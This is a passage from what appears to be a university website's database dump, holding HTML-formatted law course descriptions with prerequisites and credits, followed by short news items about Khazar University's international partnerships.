style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies Labor Law – one of the branches of Law, which is aimed to regulate labor relations between employer and employee. The course analyses in comparative perspective legal mechanisms of employees’ social protection formed as a result of the influence of labor legislation norms’ system.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 410: Election Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>This course mainly focuses on the ways in which laws governing the political process affect and reflect political power relationships. Right to vote, reapportionment, political parties, bribery, campaign finance, incumbency and ballot propositions are main topics to be covered during the course.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 416: Health Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>A survey of health law which will include coverage of issues selected from some or all of the following areas: patient access to health care services; the organization of health care delivery systems and the prominent rise of managed care; public and private health care insurance; quality of care issues including regulation, licensure and legal liability of hospitals and healthcare providers; antitrust issues related to health care financing and organization; and bio-ethical dilemmas in law and medicine.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 430: Forensic&nbsp; Expertise <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course is the part of Criminalistics that mainly explores the implementation of the field. The aim of the course is to develop both practical and theoretical skills of the students in this area of law. Topics to be studied include: how to implement and define Court medical expertise, right evaluation of the results of expertise and others.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 432: Court Psychiatry <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course mainly deals with the role of lawyers and psychiatrists in the handling of the mentally ill within the legal process, the civil and criminal commitment processes, insanity and automatism defenses, and mental illness as it relates to legal capacity.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 448: Criminalistics <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong></strong>On the basis of its own scientific researchers and elaboration, criminalistics provides investigators, operatively investigating workers and experts with well grounded and scientifically checked means, ways and methods to investigate and disclose the most complicated crimes.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 502:&nbsp;</strong><strong>Contract Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course will examine major legal concepts that lawyers might face in their professional activities.&nbsp; It will mainly focus on basic notions of contract law, offer and acceptance, employment contracts, business organizations, taxation of various contracts, dispute resolution mechanisms, and transactions involving intellectual property rights. Students will read and analyze the sources of contract law, including both judicial decisions (case law) and statutes.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 504: Crimes Against Personality <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies personal crimes clearly distinguished among others with their great threat to society, to the system of crimes according to legislation in force, to the legal analysis of the norms against life, health, honor, and dignity, as well as sexual freedom and sexual immunity and issues related to judicial experience.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 506: Crimes against Property <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>According to the acting Criminal Code of Azerbaijan Republic, all encroachments to any kind of property are punished by the Law. This course covers questions connected with crimes against state, municipal and private property.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 508: Advocacy&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:</strong><strong>&nbsp;LAW 302, LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This lawyering skills course gives students an orientation to and constant practice in most basic pretrial and trial advocacy skills areas. Topics include taking and defending depositions, motion practice, trial evidence, opening statements, direct and cross-examination, and closing arguments. The main aim of this course that skills are best acquired in an experiential manner by seeing and doing.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 510:&nbsp;</strong><strong>Financial Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:</strong><strong>&nbsp;LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies all financial institutes of Azerbaijan Republic. Financial and legal norms regulate legal relationships emerging in such spheres as state’s financial policy, tax system, practical activity of the financial bodies and their jurisdiction, etc. Legal relationships which are regulated by this branch of law are based not on the subjects’ equality of rights which is pointed out in Civil Law, but on the principles of administrative subordination.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 512: Commercial Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course provides an introduction to the concepts and methods of commercial law. It will also introduce students to the creation, transfer, and enforcement of negotiable instruments (e.g., checks and promissory notes) and the creation, priority and enforcement of security interests in personal property.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 514: Tax Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course also intends to develop knowledge on the basics of tax law, the type of taxes and their collection rules. The course will cover the nature and structure of administrative agencies and where they fit in our Separation of Powers scheme; the forms that agency action might take, both formal and informal means used by the legislative, judicial, and executive branches to control and review what agencies do; and the constitutional constraints that limit agency action. It also considers normative questions about the legitimacy and accountability of government agencies in our constitutional system.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 520: Penology <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>This course is concerned with the evolution of systems of punishment and the effect of prison on inmates, their families, and correctional officers. It also studies the processes devised and adopted for the punishment, repression, and prevention of crime, and the treatment of prisoners.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 526: Education Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 106</strong></p><p style=\"text-align:justify\"><strong></strong>This course will examine current legal problems of elementary/secondary education in both public and private schools. Topics to be discussed include the state’s constitutional power over education, the authority of state and local school boards through which the state provides and regulates education, compulsory education, homeschooling, curriculum control, hiring and terminating teachers, disciplining students, student and teacher freedom of expression, students with disabilities, allocation of educational resources among school districts, and the government’s role in education.<strong></strong>&nbsp;</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 536: Conflict of Laws </strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</p><p style=\"text-align:justify\"><strong>Prerequisite: LAW 302, LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>The subject of conflict of laws addresses three questions: Which country should hear the case? What law should be applied? What is the effect of its adjudication in another country? This course includes an outline of jurisdiction and judgments techniques but will focus on problems in choice of law, and issues in the exclusion of foreign law. Coverage includes problems in contract and torts, and other areas may be selected from time to time. This course is complementary to International Commercial Litigation, but it stands on its own as an introduction to theories and methodologies in the conflict of laws.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 542: Gender and Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156, LAW 104</strong></p><p style=\"text-align:justify\"><strong></strong>An exploration of the ways in which law is used both to advance gender equality and to institutionalize gender-based discrimination. At its core, the course aims to explore the construction of gender and sexuality as reflected in and by the legal process. Topics covered will include: the right to “sexual privacy”; gender and sexuality; legal responses to “sexual speech” and “identity speech”; sexuality and gender in education; gender-based asylum; the changing definition of family; cultural and religious practices and gender; and gender and human rights. Although primarily a course on Azerbaijan jurisprudence, the course will also incorporate international perspectives.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 546: Natural Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 104</strong></p><p style=\"text-align:justify\"><strong></strong>This course is a historical examination of the development of legal philosophy from ancient times to the contemporary period. It begins with a detailed examination of Aristotle’s work on justice and his concept of how political life should be organized in the ideal state. It then turns to an examination of the various schools of natural law and of the areas in which natural law philosophy enters into contemporary legal thought. The course devotes substantial time to the development of modern legal positivism, as reflected in the work of John Austin, and to the various types of legal philosophy that have been derived from the legal positivism, such as legal realism and contemporary work exploring the basic analytical structure of the legal system. The purpose of the course is to give the student the historical and philosophical background to engage in discussions of contemporary jurisprudential issues.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 548: Entrepreneurship Law&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course introduces civil and legal regulation of entrepreneurship relations, entrepreneurship activity, its regulation and reforms directed to entrepreneurship development. It also reviews and analyzes entrepreneurship concepts that can be directly applied to the practice of law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 602: Labor Disputes Resolution <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 408</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies reasons and conditions of labor disputes (economic, social, legal, etc.), the order of judicial and pre-judicial resolving of conflicts connected to the organization and use of hired labor. This course is a survey of the law of labor relations; it is designed to provide the student with an acquaintance of the more important problems of labor law but not with a comprehensive coverage of the entire field. The course will also examine some aspects of arbitration and the law relating to the enforcement of collective bargaining and will include some discussion of the relationship between law and politics in administrative agencies. During the course, students get an opportunity to discuss all existing problems between employer and employees.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 604: Environmental Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies the role of the legal system in addressing problems of environmental disruption, with special emphasis on air, water, hazardous waste pollution and ecological culture.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 606:&nbsp;</strong><strong>Intellectual Property Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:&nbsp;</strong><strong>LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>This course surveys the legal principles and management of intellectual property, including trademarks, copyrights, trade secrets, and patents. It also focuses on the counseling considerations that surround the exploitation of intellectual properties in foreign markets through licensing, litigation, or both. It also surveys the principal legal systems and international treaty arrangements for copyright, patent, trademark, and neighboring rights, as well as questions of jurisdiction, territoriality, national treatment, and choice of law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 608: Property Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>The course will examine all major property law concepts, including real and personal property rights such as easement and usufructs. Also, this course will review mortgage and pledge rights.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 610: Torts <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>The course explores strict liability and its extensions, alternatives to the torts compensation system, and the impact of insurance and legislation on the common law of torts are also considered. It covers selected topics from the following types of harm to dignitary and relational interests: interference with reputation, business relationships, political relationships, family relationships, and right to privacy.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 616: Theoretical Problems of Punishment in Criminal Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:&nbsp;</strong><strong>LAW 214</strong></p><p style=\"text-align:justify\"><strong></strong>Punishment is a measure of person’s compulsion from the side of a state to a certain law-obeying behavior. There exist many measures of punishment. Criminal punishment is a special and the most severe kind of a punishment. The course studies punishment in criminal law as a social tool and legal institute aimed to prevent new crimes.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 618: Evidence&nbsp;<strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course in the law of evidence aims to give students a thorough understanding of the basic principles in this field of law. Among the topics considered are relevance, authentication, best evidence rule, hearsay, examination, and impeachment of witnesses, privileges, the burden of proof, presumptions, and judicial notice and the functions of judge and jury. Evidence rules constrain proof at criminal and civil trials. It also explores related case law and constitutional concepts that limit proof at criminal trials.</p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong>LAW 624:&nbsp;</strong><strong>Corporate Governance <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 118</strong></p><p style=\"text-align:justify\"><strong></strong>Corporate governance is a system of relationships, defined as the structures and processes for the direction and control of companies. This course is considered for business and legal audience. The goal of the course is to improve the corporate governance practices in Azerbaijani joint stock companies, including commercial banks, thereby assisting them to gain access to capital. This course introduces students to the ongoing convergence of the corporate and capital market laws of various jurisdictions, and to the role of international law and international organizations in that process.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 626: Real Estate Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 212</strong></p><p style=\"text-align:justify\"><strong></strong>Real estate law includes all of the areas of law of common concern to the typical real estate practitioner and investor-consumer. Among topics covered are the law of agency as applied to real estate brokers and salespersons, the law of fixtures, freehold, and leasehold, estates, conveyance of real estate and real estate managers.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 628: Proceedings in the First and Appellate Court Instances&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course explores the processing of cases in the court. The course also covers issues such as a sentence, verdict, appeal, protest and other activities of the Court.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 630: Proceedings in Supreme Court&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies the activity of Supreme Court and how to refer to the Court of Cassation for the complaint and protests. The course also focuses on plenum activity of the court.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>LAW 634: Preliminary Inquiry <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: LAW 304</strong></p><p style=\"text-align:justify\"><strong></strong>The preliminary inquiry is a stage of criminal procedure aimed at quick and full disclosure of crimes. This course studies structure and functions of bodies of preliminary inquiry as well as basic principles of this stage.&nbsp;</p><p style=\"text-align:justify\"><br></p><p style=\"text-align:justify\"><strong>INTLAW 156: Comparative Constitutional Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: NONE</strong></p><p style=\"text-align:justify\"><strong></strong>This course studies a fundamental branch of Law - Constitutional Law, using methods of comparative analysis. Theory, law, and practice of the Constitution, including legislative, executive and judicial institutions in various countries, as well as constitutional law notions such as the rule of law, constitutional amendment, and fundamental rights and freedoms will be studied during the course. The course will also analyze in comparative perspectives organization of governments, their functioning, legal freedom of social organizations and individuals on the base of the constitutional systems of various countries. It also introduces the principal aspects of judicial review, separation of powers, federalism, equality, and fundamental rights.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 168: Comparative Administrative Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\">This course is based on a comparative method of various legal systems’ study in the sphere of Administrative Law. During the course-specific types of public administration carried out by the bodies of executive power in political, administrative, economic, social and cultural spheres are studied. It also considers the role of administrative agencies in the scheme of government, constitutional limitations on agency action, and analysis of agency functions; emphasizing informal procedures and placing formal procedures of investigation, rule-making, and hearings in perspective.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 252: Comparative Civil Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>The course on Civil Law is one of the main legal disciplines, the study of which is necessary for all the students of the law department. This course is divided into two main parts. The first part covers general and theoretical aspects of Civil Law in comparative perspectives. The second part discusses definite scientific institutes existing in Civil Law. Among the topics covered during the course, the following can be mentioned: principles of civil rights, bases for civil relations’ occurrence, the occurrence of civil rights and duties, concept of property forms in world civil law systems.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 254: Comparative Criminal Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course considers the basic themes of substantive criminal law, including criminal responsibility, the significance of the act, intent, causation and result, justification and excuse, and the rationale of punishment. General doctrinal principles of the criminal law and illustrative crimes are studied, usually including the following topics: defenses, insanity, attempts, conspiracy, and aspects of the law of homicide and rape. The course considers also constitutional principles of criminal justice. Among the topics that may be studied are search and seizure, the privilege against compulsory self-incrimination, the right to counsel, plea-bargaining, aspects of a trial, and sentencing.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 256: Law of International Organizations <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 258</strong></p><p style=\"text-align:justify\"><strong></strong>The course is intended to examine the principal issues concerning organizations composed of states. These include the legal status and powers of organizations, membership, and participation, dispute settlement, enforcement of decisions, peace and security activities, and protection of human rights. The course will consist of three major parts: the UN, European Union, and the Council of Europe and OSCE.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 258: International Public Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course introduces to the students the basic legal concepts and principles governing state behavior in the international order, the nature and sources of international law, the law of treaties, sovereignty of states and recognition of statehood, jurisdiction, immunities, and responsibility. It also examines substantive international legal obligations regarding the law of the sea, human rights, refugees/asylum seekers and international criminal law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 262: Human Rights&nbsp;</strong><strong><strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:&nbsp;</strong><strong>INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course examines the law, theory, and practice of international human rights. It is designed to provide students with an informed and critical perspective on international instruments, intergovernmental organizations, and domestic legal arrangements related to the articulation and implementation of human rights. Topics will include the origins and theory of global human rights; the relationship between human rights norms and issues of state sovereignty; the universal or culturally particular nature of human rights; connections between civil, political, social, and economic rights; transnational strategies associated with implementation and enforcement; and institutional remedies in response to massive human rights violations. This course focuses on the developing law of international human rights, with an emphasis on international human rights agreements, international and regional human rights courts and tribunals, and international human rights organizations, both governmental and non-governmental.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 264: International Environmental Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite:&nbsp;</strong><strong>INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course will provide the students with a basic background in some of the major legal issues in contemporary IEL. It will examine topics such as customary international environmental law, legal and institutional frameworks of IEL, and other general topics. It also examines more specific legal issues in the field of IEL, such as transboundary (cross-border) pollution, the marine environment, hazardous waste and toxic materials and the relationship between trade and environmental law.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 352: Comparative Civil Process&nbsp;<strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 252</strong></p><p style=\"text-align:justify\"><strong></strong>The course focuses on approaches to such matters as service of process, joinder, preliminary motions, multiple claims and parties, amendments, discovery, directed verdicts, summary judgment,&nbsp;<em>res judicata</em>, and collateral&nbsp;<em>estoppel</em>&nbsp;in comparative perspectives.<strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 354: Comparative Criminal Process <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 254</strong></p><p style=\"text-align:justify\"><strong></strong>This course focuses on the works of inquiry bodies, bodies of the preliminary investigation, public prosecutors, and courts on excitation, investigation, examination, and settlement of criminal cases. The course will be concentrated on the following issues: legal status of suspected, accused, lawyer, a victim, witnesses, the civil claimant, the respondent, etc. Knowledge obtained during this course will help to fight effectively criminality, defend rights and legal interests both of the state and its concrete subjects. Basic questions, defining the order of activities of investigation bodies, a public prosecutor and court are studied in comparison with the criminal procedure systems of USA, UK, France, and Turkey.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 356: International Economic Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 258</strong></p><p style=\"text-align:justify\"><strong></strong>The first half of the course introduces essential principles of economic institutions and transactions at the international level, including the law relating to the IMF, GATT, and World Bank. In the second half of the course the following topics will be covered: subsidies, trade-related intellectual property, regional economic integration, preferential and commodity trading, sovereign debt and environmental issues in international trade.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 362: International Private Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 258, INTLAW 252</strong></p><p style=\"text-align:justify\"><strong></strong>The aim of the course is to impart knowledge relating to taking international jurisdiction, choice of law, and recognition of foreign judgments in cases involving a foreign element; to gain experience of purposive interpretative approaches to international and European conventions aimed at harmonization of private international law. The course also intends to develop an understanding of the concepts of international jurisdiction, recognition of foreign judgments, choice of law issues in the law of obligations, family law, and the law of property.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 368: Diplomacy Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 256, INTLAW 258</strong></p><p style=\"text-align:justify\"><strong></strong>A system of Diplomacy Law corresponds with the main forms of diplomacy: bilateral diplomacy, which is carried out through diplomatic representatives or special missions, multilateral diplomacy and permanent representatives at the international organizations, etc. Diplomacy Law is a branch of International Law, which represents a totality of norms, regulating status and functions of the external relations’ state bodies.<strong></strong><strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong><br></strong></p><p style=\"text-align:justify\"><strong></strong><strong>INTLAW 372: International Criminal Law <strong>(<strong>6&nbsp;ECTS</strong>)</strong>&nbsp;</strong></p><p style=\"text-align:justify\"><strong></strong><strong>Prerequisite: INTLAW 156</strong></p><p style=\"text-align:justify\"><strong></strong>This course explores the sources and the objectives of international criminal justice, as well as study institutions of international criminal law like war crimes tribunals. Crimes designated as falling under the jurisdiction of international criminal courts, questions of command responsibility, superior orders, unique procedural issues, and alternatives such as truth commissions will all be carefully treated. It also explores the application of domestic and international law to questions of jurisdiction over international criminal activities, granting of amnesty to persons responsible for international crimes, international cooperation in criminal matters, the substantive international law as contained in multilateral treaties concerning war crimes and terrorism, and the permanent International Criminal Court.</p>'),(4507,2673,'az','Xəzər Universiteti ilə Malayziya Perlis Universiteti əməkdaşlarının görüşü mətbuatda','Xəbər verildiyi kimi, 2017-ci il noyabrın 22-də Malayziya Perlis Universitetinin akademik və administrativ işçiləri və tələbələrindən ibarət...','<p>Xəbər verildiyi kimi, 2017-ci il noyabrın 22-də Malayziya Perlis Universitetinin akademik və administrativ işçiləri və tələbələrindən ibarət olan heyət Xəzər Universitetinin “Neftçilər” kampusunda qonaq olmuşdular. Bu haqda <strong><em>tehsil-press.az</em></strong> saytı da xəbər yayınlamışdır.</p><p>Xəbəri tam şəkildə buradan oxumaq olar:&nbsp;</p><p><a href=\"http://tehsil-press.az/index.php?newsid=24701#Kalibri\">http://tehsil-press.az/index.php?newsid=24701#Kalibri</a></p>'),(4506,2672,'az','Xəzər Universiteti daha bir layihədə tərəfdaş oldu','Xəzər Universiteti bu il qazandığı daha bir layihədə tərəfdaş oldu. Layihəni Norveç Təhsildə Beynəlxalq Əməkdaşlıq Mərkəzi...','<p>Xəzər Universiteti bu il qazandığı daha bir layihədə tərəfdaş oldu. Layihəni Norveç Təhsildə Beynəlxalq Əməkdaşlıq Mərkəzi (<em>Norwegian Centre for International Cooperation in Education – SIU</em>) dəstəkləyir.</p><p>Layihə mədəniyyətlərarası ünsiyyət barədədir və Norveçin əsas koordinatorluğu ilə 3 Cənubi Qafqaz ölkəsində həyata keçiriləcək. Layihə çərçivəsində bu ölkələrin tələbələri və əməkdaşları yaz məktəbləri üçün Tbilisiyə və Osloya səfər edəcəklər.</p><p>Qeyd edək ki, bu layihənin müzakirəsi ötən ilin yayında Tbilisidə keçirilmişdi.</p>'),(4509,2543,'en','Meeting with PhD student of University College London','On October 19, 2017, Madina Gulieva, Deputy Chairman of Azerbaijan 